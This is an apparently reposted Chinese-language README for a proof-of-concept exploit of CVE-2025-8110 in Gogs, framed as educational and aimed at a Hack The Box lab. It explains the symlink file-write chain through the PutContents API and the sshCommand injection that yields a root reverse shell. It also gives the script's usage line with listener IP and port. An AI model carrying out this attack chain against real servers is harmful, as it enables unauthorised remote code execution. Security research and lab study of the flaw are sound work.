## https://sploitus.com/exploit?id=KITPLOIT:TOOLS-GITHUB-XDEZEN-CVE-2025-8110
# Gogs 任意文件写入至远程代码执行漏洞 (CVE-2025-8110) - 教育用途的利用工具
此仓库包含一个 Python 概念验证(PoC)脚本,用于演示和分析在自托管的 Git 服务 **Gogs** (版本 0.13.3 及更早版本)中记录的漏洞 **CVE-2025-8110** 。
* * *
## ⚠️ 免责声明(Disclaimer)
> [!WARNING] **本软件仅供教育和安全研究目的使用。** 未经所有者事先书面同意,将此材料用于目标是非法的。本仓库的作者不对因使用本代码造成的任何损害、损失或滥用负责。请自行承担风险,并仅在受控环境或授权的模拟(如 CTF 实验室)中使用。
* * *
## 什么是 CVE-2025-8110?
**CVE-2025-8110** 是一个严重的**任意文件写入** 漏洞,由于在通过 Gogs 的 `PutContents` API 处理符号链接( _symlinks_ )时验证不足而引发。
### 影响机制
一个经过身份验证的攻击者可以:
1. 创建一个包含符号链接的本地 Git 仓库,该符号链接指向仓库文件夹之外的敏感文件(例如,服务器自身的配置文件 `.git/config`)。
2. 将此仓库推送( _push_ )到 Gogs 服务器。
3. 使用 Gogs API 修改符号链接文件。由于 API 不验证目标是否为快捷方式,底层操作系统会跟随链接,以运行 Gogs 的权限覆盖系统文件。
4. 如果 Gogs 服务以 `root` 身份运行,文件写入可以升级为**远程代码执行(RCE)** ,方法是将所需命令注入 Git 配置文件的 `sshCommand` 属性。
* * *
## 代码说明(`exploit.py`)
该脚本使用有效凭据和在 Gogs 网页界面中手动预先生成的 API 令牌来自动化整个利用过程:
root@kitploit:~
┌──────────────────────────────────────────────┐
│ Máquina del Atacante (Kali) │
└──────────────────────┬───────────────────────┘
│
(1) Crea Repositorio │ (3) Sube Symlink (.git/config)
Malicioso vía API │ vía git push
▼
┌──────────────────────────────────────────────┐
│ Túnel SSH Local (puerto 8080) │
└──────────────────────┬───────────────────────┘
│
▼
┌──────────────────────────────────────────────┐
│ Servidor Víctima Gogs │
│ (Puerto 3001) │
└──────────────────────┬───────────────────────┘
│
│ (4) API PUT "contents"
│ Sigue Symlink y escribe
│ "sshCommand" en .git/config
▼
┌──────────────────────────────────────────────┐
│ Ejecución del Payload como ROOT │
└──────────────────────────────────────────────┘
### 脚本主要组件:
1. **`create_malicious_repo`** :使用提供的访问令牌向 Gogs API (`/api/v1/user/repos`) 发送 `POST` 请求,以创建一个具有动态生成随机名称的新仓库。
2. **`upload_malicious_symlink`** :
* 将新创建的仓库克隆到本地临时文件夹 `/tmp/`。
* 在攻击者机器上本地创建一个指向 `.git/config`(服务器的 Git 配置文件)的符号链接。
* 执行 _commit_ 并通过系统命令(`git push`)将更改推送回服务器。
3. **`exploit`** :利用 Git 的 `sshCommand` 属性中的注入技巧定义负载(payload)。通过 API 更新内容时,Gogs 被迫覆盖服务器上自身的 `.git/config`。当 Git 流程的最后部分被触发时,Gogs 系统执行终端命令(一个 Bash 反向 Shell),将连接返回给您的 Netcat 监听器。
* * *
## 实验室使用指南(HTB - Silentium)
### 前提条件
在运行脚本之前,请确保在 Git 中配置全局身份信息,以避免自动提交时出错:
root@kitploit:~
git config --global user.email "some-email@example.com"
git config --global user.name "estudiante"
### 使用: python3 exploit.py -u (http://127.0.0.1:8080) -lh <TU_IP_VPN> -lp 4446